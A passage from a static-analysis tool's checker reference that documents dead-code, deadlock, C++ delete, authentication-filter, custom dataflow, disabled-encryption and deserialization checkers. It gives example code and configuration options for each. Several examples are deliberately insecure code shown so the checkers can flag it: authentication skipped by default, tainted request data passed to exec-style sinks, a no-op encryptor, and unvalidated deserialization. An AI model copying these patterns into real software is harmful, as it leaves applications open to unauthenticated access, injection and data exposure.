 }
 return true;
 }
 void deadcode2(Object o) throws Exception {
 if(o == null) {
 throw new Exception();
 }
 if(o == null) {
 // This line cannot be reached!
 log("o is null");
 }
 }
}
```

### 4.135.3.5. JavaScript

```
function test7a(p1) {
 if(p1 == null) {
 return;
 }
 // In JavaScript null == undefined.
 if(p1 == undefined) {
 // Defect: dead code
 return;
 }
 safe_process(p1);
}

function test7b(p1) {
 if(p1 === null) {
 return;
 }
 // But null !== undefined.
 if(p1 === undefined) {
 // No defect
 return;
 }
 safe_process(p1);
}

function adapted_angular_code_example(parentElement) {
 var isRoot = isMatchingElement(parentElement, $rootElement);
 var state = isRoot ? rootAnimateState : parentElement.data(NG_ANIMATE_STATE);
 var result = state && (!!state.disabled || state.totalActive > 0);
 if(isRoot || result) {
 return result;
 }
 if(isRoot) {
 // Defect: dead code
 return true;
 }
}
```

### 4.135.3.6. PHP

```
function deadcode($o1) {
 if($o1 == NULL) {
 return 1;
 }
 somethingElse();
 if(NULL == $o1) {
 // Defect: dead code
 return 2;
 }
 // otherwise
 return 3;
}
```

```
}
```

#### 4.135.3.7. Python

```
def deadcode(o1):
 if(o1 is None):
 return 1
 somethingElse()
 if(None is o1):
 # Defect: dead code
 return 2
 # otherwise
 return 3
```

#### 4.135.3.8. Ruby

```
def deadcode(obj)
 if (obj.nil?)
 return 1
 end
 somethingElse()
 if (obj == nil)
 return 2 # Defect: dead code
 end
 # otherwise
 3
end
```

#### 4.135.3.9. Scala

In the following example, the first `if` condition `p > 100` and the second `if` condition `p < 200` can't be false at the same time. Therefore, the `else` branch of the second `if` statement is logically dead.

```
def example(p : Int) : Int = {
 if (p > 100) {
 return 1
 } else {
 if (p < 200) {
 return 2
 } else {
 return 3 // DEADCODE
 }
 }
}
```

#### 4.135.3.10. Swift

```
func deadcodeRange(_ i: Int) {
```

```
if (i < 0 && i > 1) {
 doSomething(); // DEADCODE
} else {
 doSomethingElse();
}
}
```

#### 4.135.3.11. Visual Basic

In the following example, `i` will always be less than 10 or greater than 9, so the `if` condition will always be true and the return will always be executed.

```
Class DeadCode
 Sub Example(i As Integer)
 If i < 10 OrElse i > 9 Then
 Return
 End If
 ' Defect: Dead code
 i = i + 1
 End Sub
End Class
```

#### 4.135.4. Options

This section describes one or more `DEADCODE` options.

You can set specific checker option values by passing them with `--checker-option` to the **coverity-analyze** command. For details, refer to the *Coverity Command Reference*.

- `DEADCODE:no_dead_default:<boolean>` - When this option is set to `true`, the checker suppresses reports of defects caused by an unreachable `default` statement in a `switch-case` statement. Defaults to `DEADCODE:no_dead_default:false` (meaning that unreachable default statements are reported as defects) for C, C++, C#, Go, Java, Objective-C, Objective-C++ (JavaScript, Ruby, Scala, and TypeScript not supported).

Example:

```
switch(i) {
 case 0:
 case 1:
 break;
 default:
 return;
}

switch(i) {
 case 0:
 case 1:
 break;
 default:
 assert(false); // Defect unless no_dead_default option is set to true
}
```

```
}

```

To disable reporting of these defects use:

```
> cov-analyze --checker-option DEADCODE:no_dead_default:true

```

- `DEADCODE:report_dead_killpaths:<boolean>` - When this option is set to `true`, the checker will report "dead" code that represents a "kill path". Kill paths include those that unconditionally throw an exception, call an unconditional assert, or use similar mechanisms. By default, `DEADCODE` automatically suppresses such reports, treating such mechanisms as intentional, "defensive" coding. Defaults to `DEADCODE:report_dead_killpaths:false` for C, C++, C#, Java, Objective-C, and Objective-C++ (Go, JavaScript, Ruby, Scala, and TypeScript not supported).

The following type of coding practice is suppressed by default:

```
void dead_killpath_example(int i)
{
 switch(i & 0x3) {
 case 0: doSomethingA(); return;
 case 1: doSomethingB(); return;
 case 2: doSomethingC(); return;
 case 3: doSomethingD(); return;
 default: // Intentionally dead
 throw some_exception("defensive");
 }
}

```

- `DEADCODE:report_redundant_tests:<boolean>` - When this option is set to `true`, the checker will report cases where a branch cannot be taken, if that does not result in any fragment of code being unreachable. In JavaScript, all numeric literals are floating point, and `DEADCODE` only tracks integer variables when there is some evidence that these variables are used as integers. Defaults to `DEADCODE:report_redundant_tests:false` (all languages).

Example:

```
i++;
if(i >= 0 || i <= 5) {
 doit();
}

```

In this case, `i <= 5` must be true because it will get evaluated only if `i < 0`. It follows that `i <= 5` is redundant. The developer probably meant to use `&&` instead of `||`.

- `DEADCODE:suppress_effectively_constant_local:<boolean>` - When this option is set to `true`, the checker will suppress a defect on a local variable that is assigned only once to a constant value and used as a condition into a block of dead code (see details below). You use the option to suppress defects that intentionally disable code by means of a local variable. Note that might also suppress some true positives, so use it with caution. Defaults to `DEADCODE:suppress_effectively_constant_local:false` for C, C++, C#, Go, Java, Objective-C, Objective-C++ (JavaScript, Ruby, Scala, and TypeScript not supported).

## Effectively Constant Criteria

This option can suppress a defect in code that meets *all* of the following criteria:

- It is a local variable (that is, one declared within a function or method). This means that the variable is *not* declared as `const` (for C++, C#) or `final` (for Java, Scala) and that it *is* either a Boolean type (`bool` for C++, C#; `boolean` for Java, Scala, `int` for C) or a pointer type.
- It is assigned exactly once to a constant value, thereby making it effectively constant within its scope.
- It is used as a condition into a block of dead code.

Special case that overrides option settings

`DEADCODE` automatically suppresses a defect report if the name of the variable contains no lowercase letters (for example, `ALL_CAPITALS`) but otherwise meets Effectively Constant Criteria. This behavior allows the use of the coding pattern with a variable such as `DEBUG` without producing false positives; for example:

```
bool DEBUG = false; // Example: DEBUG
if(DEBUG) { //
 /* ... intentionally unreachable code */
}
```

(This pattern is used in Java and other environments which don't have conditional compilation.)

## 4.136. DEADLOCK (Java Runtime)

Quality, Dynamic Analysis Checker

### 4.136.1. Overview

Dynamic Analysis reports a `DEADLOCK` when two Java threads wait for each other to release a lock or more than two Java threads wait for locks in a circular chain. Deadlock is a common problem in multithreaded applications.

### 4.136.2. Issue

The following table identifies the impact of issues found by this checker according to their type, category, and, if available, CWE (Common Weakness Enumeration) identifier. These properties correspond to checker information that appears in Coverity Connect. Note that the table might also identify checker subcategories that are associated with an issue type and checker category.

**Table 4.1. Issue Impact: DEADLOCK**

| Issue Type      | Checker Category | Impact | Language | CWE |
|-----------------|------------------|--------|----------|-----|
| Thread deadlock | Program hangs    | Medium | Java     | 833 |

For more information about DEADLOCK, see Chapter 2, .

### 4.136.3. Examples

You might expect the following example to call `doWork()` 200 times while holding locks `A` and `B` (100 times from `AB.run()` and 100 times from `BA.run()`). Often, those 200 calls are all that happens. However, the `AB` thread and the `BA` thread can deadlock. They can acquire and wait for locks such that neither can progress.

Consider what happens if `AB` acquires lock `A`, and before it can acquire lock `B`, `BA` acquires it. Now thread `AB` holds `A` and waits on lock `B`, but thread `BA` holds lock `B` and waits on lock `A`. Neither thread can progress. As Dynamic Analysis watches this program run, it notices the potential for these threads to hold locks while waiting for other locks in such a way that deadlock is possible. Thus, Dynamic Analysis reports a DEADLOCK on this code.

```
/*
 * DEADLOCK defect:
 * Two threads acquire two locks in different orders.
 */
public class DeadlockExample {
 // Dummy methods used in the Runnable classes.
 public static void doWork() {
 // Do something.
 }
 public static void sleep() {
 // Go to sleep.
 }

 static Object A = new Object();

 static Object B = new Object();

 static class AB implements Runnable {
 public void run() {
 for (int i = 0; i < 100; ++i) {
 // Acquiring lock 0x1d03a4e, an
 // instance of "java.lang.Object".
 synchronized (A) {
 // Acquiring lock 0xd5cabc, an
 // instance of "java.lang.Object",
 // while holding lock 0x1d03a4e, an
 // instance of "java.lang.Object".
 synchronized (B) {
 doWork();
 }
 }
 }
 sleep();
 }
 }

 static class BA implements Runnable {
```

```
public void run() {
 for (int i = 0; i < 100; ++i) {
 // Acquiring lock 0xd5cab, an
 // instance of "java.lang.Object".
 synchronized (B) {
 // Acquiring lock 0x1d03a4e, an
 // instance of "java.lang.Object",
 // while holding lock 0xd5cab, an
 // instance of "java.lang.Object".
 synchronized (A) {
 doWork();
 }
 }
 sleep();
 }
}

// Dummy method used by simpleDeadlock()
public static void runThreadsToCompletion (Thread ... ts) {
 // For an implementation, see
 // runThreadsToCompletion(Thread ... ts)
 // in install-dir-cic /dynamic-analysis/demo/src/simple/Example.java
}

public static void simpleDeadlock() {
 System.out.println("*** DEADLOCK example (this example may"
 + " actually deadlock and need to be forcibly terminated)");
 runThreadsToCompletion(
 new Thread(new AB(), "AB")
 , new Thread(new BA(), "BA"));
}
}
```

#### 4.136.4. Options

Options for `DEADLOCK` are set as Dynamic Analysis agent options or Ant properties. See the *Dynamic Analysis Administration Tutorial* or *Coverity Command Reference* for the most comprehensive option list and details.

- `DEADLOCK:detect-deadlocks:<boolean>` - Option that detects deadlocks. Defaults to true.

#### 4.136.5. Events

The Dynamic Analysis `DEADLOCK` checker generates `lock` and `nested_lock` events. In these events, Coverity Connect identifies locks by their identity hash code (0xd5cab) and their class. Each event also comes with a stack trace that shows how it happened. A deadlock defect consists of at least two `Lock` events and two `Nested_lock` events. Dynamic Analysis only reports a `DEADLOCK` if each nested lock event happens in a different thread.

This section describes one or more events produced by the `DEADLOCK` checker.

- `lock` - A thread acquires a lock. In the preceding example, this is shown as the program acquires lock `0xd5cab`.
- `Nested_lock` - A thread acquires one lock event while it already holds another lock. In the preceding example, this is shown as the program acquires lock `0x1d03a4e`.

The sample generates a Coverity Connect report that shows the `nested_lock` events in a lock acquisition order that may lead to deadlock. Thread AB holds A and waits for B, while thread BA holds B and waits for A.

## 4.137. DELETE\_ARRAY

Quality Checker

### 4.137.1. Overview

**Supported Languages:** C++

`DELETE_ARRAY` finds many instances of using `delete` instead of `delete[]` to delete an array.

Both `new` and `delete` have two variants: one for a single structure and one for arrays. On an allocated array, calling `delete` instead of `delete[]` will work most of the time. However, this is not guaranteed. Also, any array elements' destructors are not called which can lead to memory leaks and other problems.

The best way to use arrays in modern C++ is to use the STL's `vector` class. It is safer, more convenient and, in most cases, as efficient as a regular array. For APIs requiring arrays, you can still use `&front()`.

**Enabled by default:** `DELETE_ARRAY` is enabled by default. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".

### 4.137.2. Examples

This section provides one or more `DELETE_ARRAY` examples.

```
void wrong_delete() {
 char *buf = new char [10];
 delete buf; // Defect: should be delete[] buf
}
```

```
struct auto_ptr {
 auto_ptr():ptr(0){}
 ~auto_ptr(){delete ptr;}
 int *ptr;
};

void test() {
 auto_ptr *arr = new auto_ptr[2];
```

```
arr[0].ptr = new int(0);
arr[1].ptr = new int(1);
delete arr; // Memory leak, destructors are not called (or worse!)
}
```

### 4.137.3. Options

This section describes one or more `DELETE_ARRAY` options.

You can set specific checker option values by passing them with `--checker-option` to the `coverity-analyze` command. For details, refer to the *Coverity Command Reference*.

- `DELETE_ARRAY:no_error_on_scalar:<boolean>` - When this option is `true`, the checker does not report defects when the array element type is a scalar (for example, `int`). Although it is incorrect, using `delete` on an array of scalars is harmless in many implementations of C++, so this option is provided to suppress reporting that. Defaults to `DELETE_ARRAY:no_error_on_scalar:false`

### 4.137.4. Models

You can use modeling or code-line annotations to suppress `DELETE_ARRAY` false positives. If it is incorrectly reported that a variable is allocated using the `new` array variant or that a variable is deallocated using `delete[]`, the most likely cause is an incorrect interprocedural model. The best solution in this case is to correctly model the called function's behavior.

For example, while `DELETE_ARRAY` will, in most cases, correctly interpret a function that only allocates memory using the `new` array variant when the function's return value is `0`, you can override an incorrect interpretation with the following model:

```
int my_array_alloc(char**& ptr)
{
 int unknown_cond;
 if (unknown_cond) {
 ptr = new char*[26];
 return 0;
 }
 ptr = new char**;
 return 1;
}
```

This stub function indicates that array allocations return `0` and non-array allocations return `1`. The program decision point using the uninitialized variable `unknown_cond` is not important to analyze because, from the perspective of `my_array_alloc` callers, each potential return code should always be handled properly. You can use a similar stub to model the behavior of a function that uses `delete[]` and `delete`.

### 4.137.5. Events

This section describes one or more events produced by the `DELETE_ARRAY` checker.

- `new` - The `new` non-array variant was used to allocate memory.
- `new_array` - The `new` array variant was used to allocate memory.
- `delete_var` - The `delete` non-array variant was used to deallocate memory.
- `delete_array_var` - `delete[]` was used to deallocate memory.

If one of these events is reported at a line where memory was not allocated or the operation used does not have array/non-array variants with the same semantics as the standard operator `new` or `delete`, you can use a code-line annotation to suppress the event.

## 4.138. DELETE\_VOID

Quality Checker

### 4.138.1. Overview

**Supported Languages:** C++

`DELETE_VOID` finds cases where a pointer to a void is deleted. When a `delete` is applied to a pointer to void, the object itself is deallocated, but any destructor associated with the dynamic type is not run, which is a defect if that destructor does something important, such as freeing memory.

In many implementations, deleting a pointer to void is treated like calling `free()` in that the memory is deallocated but destructors do not run. However, even if that is the intended behavior, it is dangerous to rely on it for the following reasons:

- The behavior is *undefined* by the language standard. The implementation can technically do anything, and some compilers have optimizers that aggressively transform code that relies on undefined behavior.
- If the allocation site is changed, for example, to allocate an array of objects, the deallocation site will silently do the wrong thing.

**Enabled by default:** `DELETE_VOID` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.138.2. Example

This section provides one or more `DELETE_VOID` examples.

In the following example, `delete` is used on a pointer of type `void`:

```
void buggy(void *p)
{
 delete p;
}
```

### 4.138.3. Events

This section describes one or more events produced by the `DELETE_VOID` checker.

- `delete_void` - Deleted a pointer with type `void`.

## 4.139. DENY\_LIST\_FOR\_AUTHN

Security Checker

### 4.139.1. Overview

**Supported Languages:** Ruby

`DENY_LIST_FOR_AUTHN` reports defects when a filter on a web controller is specified using a list of actions to which the filter applies, rather than a list of actions to which the filter does not apply.

For example, instead of applying an authentication filter by default and configuring exceptions, an application might configure the authentication filter to apply only to a certain set of actions. If new actions are added, they will not be covered by authentication by default, leaving them unauthenticated. Thus it is safer to apply filters by default to avoid accidentally exposing unauthenticated actions.

**Enabled by default:** `DENY_LIST_FOR_AUTHN` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.139.2. Defect Anatomy

`DENY_LIST_FOR_AUTHN` defects are reported when the events in the *Events* section occur.

### 4.139.3. Examples

This section provides one or more `DENY_LIST_FOR_AUTHN` examples.

The following Ruby-on-Rails example demonstrates a controller skipping an authentication filter by default.

```
class ExampleController < ApplicationController
 skip_before_action :authenticate_user!, except: [:show, :delete]
end
```

### 4.139.4. Events

This section describes one or more events produced by the `DENY_LIST_FOR_AUTHN` checker.

- `auth_deny_list` - A potential authentication filter is skipped by default for the controller.
- `csrf_deny_list` - The cross-site request forgery filter is skipped by default for the controller.

## 4.140. DETEKT.\*

### 4.140.1. Overview

**Supported Languages:** Kotlin

Coverity supports Detekt analysis (version 1.0.1) through the **cov-analyze** command. Detekt is an open source program for finding bugs (defects) in Kotlin code. The Coverity analysis uses the following format to report Detekt issues: DETEKT. *xxxxx*

Like other defects, Detekt bugs are displayed in the console that you use to run **cov-analyze** and are included in the defects that you commit to Coverity Connect through the **cov-commit-defects** command.

Analysis using Detekt is enabled by default. To disable the Detekt analysis, use the `--disable-detekt` option. See also Section 1.2, “Enabling and Disabling Checkers”

Coverity Analysis provides a default configuration that can be found at `<install_dir>/config/detekt/cov-coverage-default-detekt-config.yml`. However, you can apply your own custom configuration instead by using the `--detekt-config-file *.yml` option, where `*.yml` specifies your configuration (see <https://arturbosch.github.io/detekt/configurations.html> for information about `*.yml` file configuration). If you do not use the option, the analysis will run the default configuration file and ignore any `*.yml` files in your source tree.

To enable the Detekt formatting rule set, use the `--enable-formatting-ruleset` option. For more information of the Detekt rule sets, see <https://arturbosch.github.io/detekt/index.html>

## 4.141. DF.CUSTOM\_CHECKER

Quality, Security (Dataflow) Checker

### 4.141.1. Overview

**Supported Languages:** C#, Java, JavaScript, Visual Basic

Coverity Analysis provides the ability to create user-defined dataflow checkers. A dataflow checker reports when untrusted strings, streams, and byte arrays from a tainted source are propagated through the program and used at an unsafe sink. Many security vulnerabilities fit this general pattern, including injection issues, data exposure, insecure object references, and more.

No out-of-the-box checker names begin with DF, but the ones whose name begins with Taint are related to this category. These checkers report situations where data arrives from a source that for one reason or another is considered untrustworthy.

The checkers are defined using a JSON configuration file passed through the `--directive-file` option to the **cov-analyze** command. The directives that define a `DF.CUSTOM_CHECKER` are described in the *Security Directive Reference*.

A custom dataflow checker can only be used in a JSON configuration file that has the following `format_version` values:

- 5 or higher for Java and C#
- 6 or higher for JavaScript
- 11 or higher for Visual Basic

**Enabled by default:** a custom DF checker is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

The essential elements of a dataflow defect follow.

- **The tainted source:** A dataflow defect begins at a tainted source. Data sources can be method return values, parameters, or class members.

Each source of taint belongs to a category that describes where it comes from. Examples include `filesystem`, `network`, and `http` (see the description of `TaintKindString` in the *Security Directive Reference*). Each checker indicates its sensitivity to a subset of these types of taint.

However, user-defined dataflow checkers also respect the global trust model. Only categories of data sources that are considered untrusted will be reported; trusted sources will not be reported. (Several kinds of taint are trusted by default.) For information about adjusting the global trust model, see the various `--trust-*` and `--distrust-*` options to **cov-analyze**.

The predefined taint categories include the specific data sources that are built into the Coverity analysis. For example, a checker that is sensitive to the `http` type of taint will already understand that `javax.servlet.http.HttpServletRequest.getParameter` returns user-controllable data. Additional sources can be identified by using configuration directives (see the description of `webapp_security_config_file_ref` in the *Security Directive Reference*), or user models (see Chapter 5, ), or both.

- **The propagation of data:** The Coverity analysis traces the path of the untrusted data from sources to sinks. The advanced dataflow engine understands data propagation through virtual method calls, into class members and collections, and through many Web application and model-view-controller patterns. The engine includes a large library of built-in models that describe the dataflow through system and common third-party libraries.

The aggressiveness level of the dataflow analysis also can be adjusted with the `--webapp-security-aggressiveness` level to **cov-analyze**. In general, higher levels result in more defects but more false positives.

- **The data sanitizers:** The sanitizers are method calls that transform a value to protect it from the vulnerability reported by this checker. The analysis will *not* report a defect for any value that is passed through an appropriate sanitizer.

The sanitizers are specific to the checker and are defined using the `sanitizer_for_checker` directive, described in the *Security Directive Reference*.

- **The unsafe sink:** The sinks are method calls to which it is unsafe or undesirable to pass untrusted or user-controllable data. The analysis will report a defect at any sink that is passed tainted data.

The sinks are specific to the checker and need to be defined using the `sink_for_checker` directive, described in the *Security Directive Reference*. A custom checker without any associated sinks will not report any defects.

For Java, C#, and visual basic, user-defined dataflow checkers can only be used to describe sinks for method callsite arguments that are strings, streams, byte arrays, and collections of these types. Integer and numeric values are not supported. Sources and sinks of program-defined classes and interfaces are not supported (although any supported types may be stored as a member or passed through program classes.)

**Top-level fields:** The top-level fields in the JSON configuration file for this checker are the same as those for Web application security files. These are described in the *Security Directive Reference* > “Top-level value” section. Please read the important **Recommendation** and **Requirement** paragraphs in that section.

A custom dataflow checker can only be used in a JSON configuration file that has a `format_version` value of 5 or higher for Java and C#. For JavaScript, `format_version` value of 6 or higher is required.

**Directive syntax:** The dataflow checker directive is a JSON object. For details on syntax, see the “Chapter 2. Configuration File Syntax” in the *Security Directive Reference*.

## 4.141.2. Examples

**Example 1: C# - All available fields.** This example uses every possible field to define a custom C# dataflow checker.

```
{
 "type" : "Coverity analysis configuration",
 "format_version" : 12,
 "language" : "C#",
 "directives" : [
 {
 "dataflow_checker_name" : "DF.MY_CUSTOM_DATAFLOW_CHECKER",
 "taint_kinds" : ["all_server_taints"],
 "sink_message" : "Oh No! Tainted data reached a sink!",
 "remediation_advice" : "Don't do that!",
 "new_issue_type" : {
 "type" : "my_custom_dataflow_checker",
 "name" : "A smaller description of the problem.",
 "description" : "A long description of the problem.",
 "local_effect" : "User-controllable data reached a sink.",
 "impact" : "High",
 "category" : "Custom Dataflow Checker Results",
 "cwe" : 10
 }
 }
]
}
```

```
}

```

**Example 2: C# - Minimum required fields.** This example uses the minimum required fields to define a custom C# dataflow checker.

```
{
 "type" : "Coverity analysis configuration",
 "format_version" : 12,
 "language" : "C#",
 "directives" : [
 {
 "dataflow_checker_name" : "DF.MY_CUSTOM_DATAFLOW_CHECKER",
 "taint_kinds" : [
 "http",
 "network"
]
 }
]
}
```

**Example 3: Java.** This Java example demonstrates a defect that will be reported by a custom checker when a Spring MVC Controller request parameter is passed to a user-defined unsafe sink.

The following directive will define a custom checker that reports on unsafe uses of HTTP data. The analysis distrusts HTTP data by default (see the `--distrust-http` to **cov-analyze**).

```
{
 "dataflow_checker_name" : "DF.DANGEROUS_ROBOT",
 "sink_message" : "Battle robots should not be controllable by network data.",
 "taint_kinds" : ["http"]
}
```

Without any sink directives, the checker will not report any defects. The following `sink_for_checker` directive describes an API to which user-controllable data should not be passed. It matches the first argument of any callsites that statically resolve to `RobotService.run`.

```
{
 sink_for_checker : "DF.DANGEROUS_ROBOT",
 sink : {
 to_callsite : {
 callsite_with_static_target : {
 "named" : "battle.robot.api.RobotService.run(java.lang.String, int)void"
 },
 },
 input : "arg1"
 }
}
```

In this application, we do not need to model any custom sources. The analysis has extensive built-in modeling of common APIs for accessing HTTP data and manipulating strings.

You could now run `cov-analyze --dir <INTERMEDIATE_DIR> --directive-file <DIRECTIVES.JSON>`. The `DF.DANGEROUS_ROBOT` checker will be enabled by default.

The analysis will now report a defect on the following code:

```
@Controller
class UserController {
 private RobotService robotService = null;

 int activeRobotId;

 @RequestMapping("/robot/speak_command")
 public String speakCommand(@RequestParam("name") String name) {
 String cmd = "ROTATE 180; ARM RAISE; SPEAK \"Hello \" + name + \"\";";

 // A DF.DANGEROUS_ROBOT defect will be reported below.
 robotService.run(cmd, activeRobotId);

 return "success";
 }
}
```

**Example 4: JavaScript.** The following directives create a custom dataflow checker, `DF.MYLIB_INJECTION`, that works for both client-side and server-side (Node.js) JavaScript code. The `myLib` tag identifies uses of the library differently for client-side (global variable `myLib`) and server-side (`require("myLib")`) code, and the `sink` directive builds on the tag to define the sink (the `exec()` function of `myLib`).

```
{
 "type" : "Coverity analysis configuration",
 "format_version" : 12,
 "language" : "JavaScript",
 "directives" : [
 {
 "dataflow_checker_name" : "DF.MYLIB_INJECTION",
 "taint_kinds" : ["all_jsclient_taints", "all_server_taints"],
 "sink_message" : "Passing tainted data into myLib.exec",
 "remediation_advice" : "Don't do that.",
 "new_issue_type" : {
 "type" : "mylib_injection",
 "name" : "injection into myLib.exec",
 "description" : "Use of tainted data in a sensitive myLib operation",
 "local_effect" : "Attacker can control myLib.",
 "cwe" : 74,
 "impact" : "High",
 "category" : "Injection Vulnerabilities",
 }
 },
 // client-side
 {
 "tag" : "myLib",
 "data_has_tag" : {
```

```

 "read_path_off_global" : [{ "property" : "myLib" }]
 }
},
// Node.js
{
 "tag" : "myLib",
 "data_has_tag" : {
 "read_from_js_require" : "myLib"
 }
},
// sink
{
 "sink_for_checker" : "DF.MYLIB_INJECTION",
 "sink" : {
 "input" : "arg1",
 "to_callsite" : {
 "call_on" : {
 "path" : [{ "property" : "exec" }],
 "read_from_object_with_tag" : "myLib"
 }
 }
 }
}
}
]
}
}

```

Because of the directives, the analysis reports a DF.MYLIB\_INJECTION defect in the following Express.js / Node.js server-side, JavaScript code.

```

function myLib_injection_nodejs() {
 var app = require("express")();
 app.post("/path1", function (req, res) {
 require('myLib').exec(req.params.tainted); // DF.MYLIB_INJECTION
 });
}

```

Because of the directives, the analysis reports a DF.MYLIB\_INJECTION defect in the following client-side JavaScript code.

```

function myLib_injection_client() {
 myLib.exec(location.hash.slice(1)); // DF.MYLIB_INJECTION
}

```

**Example 5: Visual Basic.** This example uses a custom attribute and a custom checker to enforce a security policy. The checker reports whenever distrusted data is passed to any call that implements an interface method that has been marked with the `<UnsafeAPICall>` attribute.

The custom `<UnsafeAPICall>` is as follows:

```

' Define a custom attribute to label unsafe API calls.
<System.AttributeUsage(System.AttributeTargets.Method)>

```

```
Public Class UnsafeAPICall
 Inherits System.Attribute
End Class
```

The following directives file defines the custom checker:

```
{
 "type" : "Coverity analysis configuration",
 "format_version" : 12,
 "language" : "Visual Basic",
 "directives" : [
 // checker definition
 {
 "dataflow_checker_name" : "DF.UNSAFE_APP_API",
 "taint_kinds" : ["all_server_taints"],
 "sink_message" : "Passing tainted data into an unsafe API.",
 "remediation_advice" : "Validate the data against an allow list of
expected values.",
 "new_issue_type" : {
 "type" : "unsafe_app_api",
 "name" : "Unsafe use of application API",
 "description" : "Use of tainted data in a sensitive application
API",
 "local_effect" : "An attacker might be able to control sensitive
program functionality or data.",
 "cwe" : 74,
 "impact" : "High",
 "category" : "Injection Vulnerabilities",
 }
 },
 // sink
 {
 "sink_for_checker" : "DF.UNSAFE_APP_API",
 "sink" : {
 "all_params_of" : {
 "overrides" : {
 "with_annotation" : {
 "matching" : "UnsafeAPICall"
 }
 }
 }
 }
 }
],
}
}
```

Next is an example of an API interface that uses the `<UnsafeAPICall>` attribute and an implementation of the interface.

```
' An example interface with an unsafe call.
' This is indicated with the <UnsafeAPICall> attribute.
Interface IExampleAPI
```

```
<UnsafeAPICall>
Sub MyAction(data as String)
End Interface

' An example implementation of the interface.
Public Class ExampleImplementation
 Implements IExampleAPI

 Public Sub MyAction(data as String) Implements IExampleAPI.MyAction
 ' Do something here...
 End Sub
End Class
```

A defect would then be reported in the following subroutine:

```
' This class illustrates an unsafe use of ExampleImplementation.>
public Sub Test(req as HttpRequest)
 Dim obj as ExampleImplementation = New ExampleImplementation()

 ' DF.UNSAFE_APP_API reports a defect here!!!!
 obj.MyAction(req("USER_ID"))
End Sub
```

## 4.142. DISABLED\_ENCRYPTION

### 4.142.1. Overview

**Supported Languages:** Java

The `DISABLED_ENCRYPTION` checker flags situations where the `noOpText()` method is used from the `org.springframework.security.crypto.encrypt.Encryptors` class. The `noOpText()` method creates an encryptor object that does not perform any encryption of the data. It might leak sensitive information to an attacker and should not be used in production code.

The `DISABLED_ENCRYPTION` checker is disabled by default. You can enable it with the `--webapp-security` option to the `cov-analyze` command.

### 4.142.2. Examples

This section provides one or more `DISABLED_ENCRYPTION` examples.

In the following example, a `DISABLED_ENCRYPTION` defect is displayed for the `noOpText()` method call used to set encryption for client data.

```
package org.example.com.clientmodule;

import org.springframework.security.crypto.encrypt.Encryptors;
```

```
import org.springframework.security.crypto.encrypt.TextEncryptor;

class NoEncryption
{
 private TextEncryptor encryptor;

 public void SingleTextEncryptorLocator(TextEncryptor encryptor) {
 this.encryptor = encryptor == null ? Encryptors.noOpText() : encryptor; //
defect here
 }
}
```

## 4.143. DISTRUSTED\_DATA\_DESERIALIZATION

### 4.143.1. Overview

**Supported Languages:** Go

The `DISTRUSTED_DATA_DESERIALIZATION` checker reports an issue any time distrusted data is passed into a deserialization API. An attacker who can control the deserialized object might be able to subvert aspects of the application functionality. This audit-mode checker flags these code patterns for review.

Note that these defects do not indicate that the parsing or deserialization action is itself vulnerable (to remote code execution, for example). Unsafe parsing or deserialization actions are reported by the higher-impact `UNSAFE_DESERIALIZATION` checker.

If the audit finding is deemed to be a security vulnerability, remediation often consists of properly validating that the data is legitimate and well-formed.

The `DISTRUSTED_DATA_DESERIALIZATION` checker is disabled by default. Use the `--enable-audit-mode` option to the `cov-analyze` command to enable it and other audit mode checkers.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

### 4.143.2. Examples

This section provides one or more `DISTRUSTED_DATA_DESERIALIZATION` examples.

In the following Go example, a defect is reported when deserializing data read from the HTTP request.

```
import(
 "encoding/json"
 "net/http"
)
```

```
type UserData struct {
 id int
 fullname string
 address string
}

var cur_user UserData

// HTTP request handler for '/set-user-data'
func SetUserData(w http.ResponseWriter, r *http.Request) {
 if err := r.ParseForm(); err != nil {
 http.Error(w, "400 bad request.", http.StatusBadRequest)
 return
 }
 // Read distrusted data from HTTP request
 data_json := r.FormValue("user_data")

 // Defect here
 json.Unmarshal([]byte(data_json), cur_user)
}
```

### 4.143.3. Options

This section describes one or more `DISTRUSTED_DATA_DESERIALIZATION` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `DISTRUSTED_DATA_DESERIALIZATION:distrust_all:<boolean>` - Setting this option to true is equivalent to setting all `trust_*` checker options for this checker to false. Defaults to `DISTRUSTED_DATA_DESERIALIZATION:distrust_all:false`.

This checker option is automatically set to `true` if the

`DISTRUSTED_DATA_DESERIALIZATION:webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `DISTRUSTED_DATA_DESERIALIZATION:trust_command_line:<boolean>` - Setting this option to false causes the analysis to treat command line arguments as tainted. Defaults to `DISTRUSTED_DATA_DESERIALIZATION:trust_command_line:true`. Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` command line options.
- `DISTRUSTED_DATA_DESERIALIZATION:trust_console:<boolean>` - Setting this option to false causes the analysis to treat data from the console as tainted. Defaults to `DISTRUSTED_DATA_DESERIALIZATION:trust_console:true`. Setting this checker option will override the global `--trust-console` and `--distrust-console` command line options.
- `DISTRUSTED_DATA_DESERIALIZATION:trust_cookie:<boolean>` - Setting this option to false causes the analysis to treat data from HTTP cookies as tainted. Defaults to

`DISTRUSTED_DATA_DESERIALIZATION:trust_cookie:false` . Setting this checker option will override the global `--trust-cookie` and `--distrust-cookie` command line options.

- `DISTRUSTED_DATA_DESERIALIZATION:trust_database:<boolean>` - Setting this option to false causes the analysis to treat data from a database as tainted. Defaults to `DISTRUSTED_DATA_DESERIALIZATION:trust_database:true` . Setting this checker option will override the global `--trust-database` and `--distrust-database` command line options.
- `DISTRUSTED_DATA_DESERIALIZATION:trust_environment:<boolean>` - Setting this option to false causes the analysis to treat data from environment variables as tainted. Defaults to `DISTRUSTED_DATA_DESERIALIZATION:trust_environment:true` . Setting this checker option will override the global `--trust-environment` and `--distrust-environment` command line options.
- `DISTRUSTED_DATA_DESERIALIZATION:trust_filesystem:<boolean>` - Setting this option to false causes the analysis to treat data from the filesystem as tainted. Defaults to `DISTRUSTED_DATA_DESERIALIZATION:trust_filesystem:true` . Setting this checker option will override the global `--trust-filesystem` and `--distrust-filesystem` command line options.
